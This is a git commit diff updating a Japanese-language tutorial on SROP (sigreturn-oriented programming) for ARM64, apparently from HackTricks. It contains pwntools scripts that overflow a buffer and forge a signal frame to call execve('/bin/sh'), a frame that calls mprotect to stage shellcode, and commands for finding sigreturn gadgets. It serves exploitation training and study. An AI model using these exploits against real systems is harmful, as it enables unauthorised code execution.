Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 20:31:56 +00:00
parent 0eaf493a04
commit dcf8e801b4

View File

@ -1,4 +1,4 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## エクスプロイト
このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用します。
このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを使用します。
```python
from pwn import *
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -103,7 +103,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## sigreturnなしのbofの例
## bofの例sigreturnなし
### コード
```c
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -165,16 +165,65 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
vdsoに関する詳細は次を確認してください:
より多くの情報はvdsoについては次を確認してください:
{{#ref}}
../ret2vdso.md
{{#endref}}
そして、`/bin/sh`のアドレスをバイパスするために、いくつかのenv変数をそれにポイントさせることができます。詳細については:
また、`/bin/sh`のアドレスをバイパスするには、それを指すいくつかの環境変数を作成することができます。詳細については:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## `sigreturn`ガジェットの自動発見 (2023-2025)
最新のディストリビューションでは、`sigreturn`トランポリンは依然として**vDSO**ページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI`+branch-protection`やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットをハードコーディングすることを防ぎます
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
両方のツールは**AArch64**エンコーディングを理解し、*SROPガジェット*として使用できる候補の`mov x8, 0x8b ; svc #0`シーケンスをリストします。
> 注: バイナリが**BTI**でコンパイルされると、すべての有効な間接分岐ターゲットの最初の命令は`bti c`になります。 リンカーによって配置された`sigreturn`トランポリンには、正しいBTIランディングパッドがすでに含まれているため、ガジェットは特権のないコードからも使用可能です。
## ROPとのSROPの連鎖`mprotect`を介したピボット)
`rt_sigreturn`は、*すべての*汎用レジスタと`pstate`を制御することを可能にします。 x86の一般的なパターンは次のとおりです: 1) SROPを使用して`mprotect`を呼び出す、2) シェルコードを含む新しい実行可能スタックにピボットする。 同じアイデアがARM64でも機能します:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
フレームを送信した後、`0x400000+0x100` に生のシェルコードを含む第二段階を送信できます。**AArch64** は *PC-relative* アドレッシングを使用しているため、大きな ROP チェーンを構築するよりも便利なことがよくあります。
## カーネルの検証、PAC & シャドウスタック
Linux 5.16 では、ユーザースペースのシグナルフレームの厳格な検証が導入されました(コミット `36f5a6c73096`)。カーネルは現在、以下をチェックします:
* `uc_flags``extra_context` が存在する場合、`UC_FP_XSTATE` を含む必要があります。
* `struct rt_sigframe` の予約語はゼロでなければなりません。
* *extra_context* レコード内のすべてのポインタは整列されており、ユーザーアドレス空間内を指している必要があります。
`pwntools>=4.10` は自動的に準拠したフレームを作成しますが、手動で構築する場合は、*reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略することを確認してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。
主流の Android 14 および Fedora 38 から、ユーザーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。ガジェットを選択する際は、その点を考慮してください。
ARMv8.9 で導入されたシャドウコールスタック(すでに ChromeOS 1.27+ で有効はコンパイラレベルの緩和策であり、SROP には干渉しません。なぜなら、戻り命令は実行されず、制御の流れはカーネルによって転送されるからです。
## 参考文献
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}